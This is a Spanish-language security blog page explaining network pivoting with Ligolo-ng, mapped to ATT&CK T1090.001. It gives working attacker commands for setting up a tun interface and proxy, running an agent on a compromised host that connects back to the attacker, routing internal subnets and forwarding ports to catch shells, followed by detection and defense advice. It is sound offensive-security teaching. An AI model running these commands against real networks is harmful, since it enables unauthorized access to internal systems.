the_open_door
café
ESEN
← Volver al índice

Pivoting with Ligolo-ng

ATT&CKT1090.001
Arsenal completo de comandos en la cheatsheet

Ligolo-ng pivota creando una interfaz de red virtual (tun) en la máquina del atacante: en vez de enrutar cada herramienta por un SOCKS con proxychains, se añade una ruta hacia la subred interna y todo el tráfico entra de forma nativa, como si estuviéramos enchufados a esa red. Es el pivoting más cómodo cuando hay que trabajar con muchas herramientas contra un segmento interno.

Por qué funciona. Ligolo levanta un proxy en el atacante (que crea el interfaz tun) y un agente en el host comprometido, que se conecta de vuelta al proxy. Una vez establecido el túnel, se activa una sesión y se añade en el atacante una ruta hacia la subred interna a través de ligolo: el kernel manda por ese interfaz cualquier paquete destinado a esa red, y el agente lo reinyecta al otro lado. No hay que "socksificar" nada.

El abuso. Se arranca el proxy, se sube y ejecuta el agente en el pivote, y se enruta la subred interna por el interfaz tun.

# en el atacante: proxy con interfaz TUN de ligolo
sudo ip tuntap add user <user> mode tun ligolo && sudo ip link set ligolo up
./proxy -selfcert

# en el pivote comprometido: conectar el agente de vuelta al proxy
./agent -connect <lhost>:11601 -ignore-cert

# en el atacante (consola de ligolo): activar sesion y anadir la ruta interna
session
sudo ip route add <internal-network>/24 dev ligolo
# reenviar un puerto del atacante a la red interna (para recibir shells del interior)
listener_add --addr 0.0.0.0:<lport> --to 127.0.0.1:<lport> --tcp

En versiones recientes de ligolo, el proxy crea el interfaz tun solo: basta ./proxy -selfcert y, en la consola, session y luego start sobre la interfaz que ofrece.

Requisitos. Hace falta ejecutar el agente en el pivote (un binario por arquitectura, x64/x86) y que pueda conectar de vuelta al proxy (o usar un listener inverso). Da un pivoting de red completo, no solo TCP: funciona para escaneos, ICMP y herramientas que no respetan proxychains.

Cómo detectarlo. La señal es un binario desconocido (el agente) estableciendo una conexión saliente persistente hacia una IP externa por un puerto atípico (11601 por defecto), y un volumen de tráfico interno originado por ese proceso. En red, una conexión cifrada de larga duración que canaliza tráfico hacia muchos destinos internos es la firma, igual que en otros túneles.

Defensa. Control de aplicaciones (impedir binarios no firmados como el agente), egreso restringido para que el agente no pueda "llamar a casa", segmentación de red y detección de conexiones salientes persistentes anómalas. Comparte objetivo con el SOCKS de SSH, sshuttle y el relay de socat, pero evitando proxychains.

HerramientasLigolo-ng